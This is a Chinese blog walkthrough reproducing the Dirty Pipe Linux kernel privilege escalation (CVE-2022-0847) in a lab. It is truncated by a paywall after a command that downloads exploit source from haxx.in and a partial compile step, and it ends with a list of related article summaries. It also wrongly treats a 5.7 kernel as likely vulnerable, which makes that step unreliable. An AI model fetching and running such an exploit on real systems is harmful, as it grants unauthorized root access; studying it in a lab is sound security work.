Dirty Pipe脏管道提权漏洞复现(CVE-2022-0847)

最新推荐文章于 2025-04-12 13:00:01 发布
最新推荐文章于 2025-04-12 13:00:01 发布
阅读量1k 收藏
点赞数
分类专栏： 权限提升 文章标签： 安全 网络 linux 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_35258863/article/details/130523159
版权

TOC

0x001 漏洞描述？

CVE-2022-0847是自 5.8 以来 Linux 内核中的一个漏洞，攻击者利用该漏洞可以覆盖任意只读文件中的数据。这样将普通的权限提升至root权限，因为非特权进程可以将代码注入到根进程。

0x002 受影响版本

5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

0x003 漏洞靶场搭建

kali主机可以测试
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
符合即可

  • Ubuntu 16.04 或 18.04（推荐）
  • kali2022或者更低版本

0x004 复现步骤

1.漏洞发现

可以看到系统内核 5.7 ，说明可能存在脏管道漏洞

uname -srm

image-20230506105830947

2.漏洞利用
wget https://haxx.in/files/dirtypipez.c    //下载
gcc -o dirtypip
最低0.47元/天 解锁文章
CVE-2022-0847(脏管道、提权内核漏洞)
墨痕诉清风的博客
06-22 4405
摘要 CVE-2022-0847它是自 5.8 以来 Linux 内核中的一个漏洞，它允许覆盖任意只读文件中的数据。这会导致权限提升，因为非特权进程可以将代码注入根进程。它类似于 Dirty COW (CVE-2016-5195)，但更容易被利用。内核影响版本：5.8 ...............
Docker Dirtypipe（CVE-2022-0847）漏洞复现与分析容器逃逸
SHELLCODE_8BIT的博客
08-07 1089
GitHub - greenhandatsjtu/CVE-2022-0847-Container-Escape: CVE-2022-0847 used to achieve container escape 利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸
Linux内核提权漏洞(Dirty-pipe)复现
qq_69775412的博客
07-25 761
CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。
DirtyPipe 利用（CVE-2022-0847）
内核工匠
10-21 4880
事件背景3月初，国外安全研究人员披露了一个新的Android/Linux内核的高危漏洞，漏洞编号为CVE-2022-0847。由于类似大名鼎鼎的DirtyCOW（脏牛）漏洞，又被命名为DirtyPipe（脏管道）。漏洞从上游linux内核5.8版本的一个补丁引入，影响所有使用linux内核的操作系统，在最新的手机系统Android12+kernel5.10上也有巨大安全危害。经过我们内部研究发现，...
劫持SUID程序提权彻底理解Dirty_Pipe：从源码解析到内核调试
最新发布
一个啥也不会的小菜鸡！
04-12 1459
本文主要面向对内核漏洞挖掘与调试没有经验的初学者，结合 CVE-2022-0847——著名的 Dirty Pipe 漏洞，带你从零开始学习 Linux 内核调试、漏洞复现、原理分析与漏洞利用。该漏洞危害极大，并且概念简单明了，无需复杂前置知识即可理解和复现。文章涵盖以下主要内容：环境搭建的调试脚本已经上传github：Brinmon/KernelStu源码下载路径：Index of /pub/linux/kernel/v5.x/ 编译教程：kernel pwn从小白到大神(一)-先知社区 检查勾选配置：构建
CVE-2022-0847Linux内核提权漏洞
qq_49091880的博客
04-12 4687
步骤有点简略，各位师傅见谅
DirtyPipe(脏管道)提权
weixin_45794666的博客
03-08 7211
DirtyPipe提权 CVE-2022-0847 漏洞详情 新管道缓冲区结构的“flags”成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷，因此可能包含陈旧的值。非特权本地用户可通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Di
Linux内核提权漏洞(Dirty-pipe)复现_linux提权漏洞
xnxqwzy的博客
10-08 540
CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。
CVE-2022-0847 Linux脏管道漏洞分析
qq_42735101的博客
01-26 1160
CVE-2022-0847漏洞被一名叫Max Kellermann的安全研究员于2022年3月7日公开披露，并将该漏洞命名为The Dirty Pipe Vulnerability（脏管道漏洞）。
容器逃逸漏洞分析 DirtyPipe脏管 CVE-2022-0847
weixin_31610083的博客
01-02 1589
本文详细分析了一个基于内核漏洞的经典容器逃逸漏洞（CVE-2022-0847），也就是著名的“脏管”漏洞，从理论分析漏洞利用路径到用strace采集具体的执行步骤，对该漏洞每一步的原理和行为进行剖析。
学习打靶--CVE-2022-0847--pingme（1）
m0_57276559的博客
06-09 2147
打靶学习---pingme
CVE-2022-0847（Dirty Pipe）
热门推荐
江左盟的博客
03-14 1万+
简介 2022年03月07日，国外安全研究员Max Kellermann披露了一个Linux内核本地权限提升漏洞 CVE-2022-0847。攻击者通过利用此漏洞可进行任意可读文件重写，将普通权限用户提升到 root权限。该漏洞原理类似于 CVE-2016-5195（Dirty Cow），因此作者将此漏洞命名为“Dirty Pipe”。 漏洞作者原文：https://dirtypipe.cm4all.com 影响范围 Linux内核版本大于等于5.8，或小于5.16.11，5.15.25，5.10.102
大白话图解 Linux 脏管道(Dirty Pipe) 漏洞(CVE-2022-0847)
omgFuture的博客
03-08 1万+
大白话图解 Linux 脏管道(Dirty Pipe) 漏洞(CVE-2022-0847) 漏洞披露链接：https://dirtypipe.cm4all.com/ 背景 ​ 今天(2022年3月8日)，开源社区爆出了Linux内核新的一级安全漏洞, Dirty Pipe Vulnerability. 漏洞点于Linux内核5.8版本引入，可以’通杀’后续多个版本内核，以及所有使用了相关Linux内核的下游厂商产品。当然，有必要说明的是，这里的通杀不是针对任意系统的远程命令执行，而是面向内
CVE-2022-0847（脏管）
sagic的博客
11-21 313
CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe“影响范围Linux Kernel版本 >= 5.8。
Dirty-Pipe Linux内核提权漏洞复现（CVE-2022-0847）
IerkeU的博客
03-09 5534
漏洞描述 CVE-2022-0847-DirtyPipe-Exploit 存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件（甚至是只读文件）中的数据，从而可将普通权限的用户提升到root权限。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用，漏洞作者将此漏洞命名为Dirty Pipe。 影响版本 影响范围：5.8 <= Linux 内核版本 < 5.16.11 /
CVE-2022-0847：脏管道漏洞分析及对容器的影响
include_voidmain的博客
06-29 998
CVE-2022-0847：脏管道漏洞分析及对容器的影响
漏洞预警 - Linux DirtyPipe权限提升漏洞 CVE-2022-0847
kukudeshuo的博客
03-08 843
漏洞预警 - Linux DirtyPipe权限提升漏洞 CVE-2022-0847 漏洞描述 CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pi
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值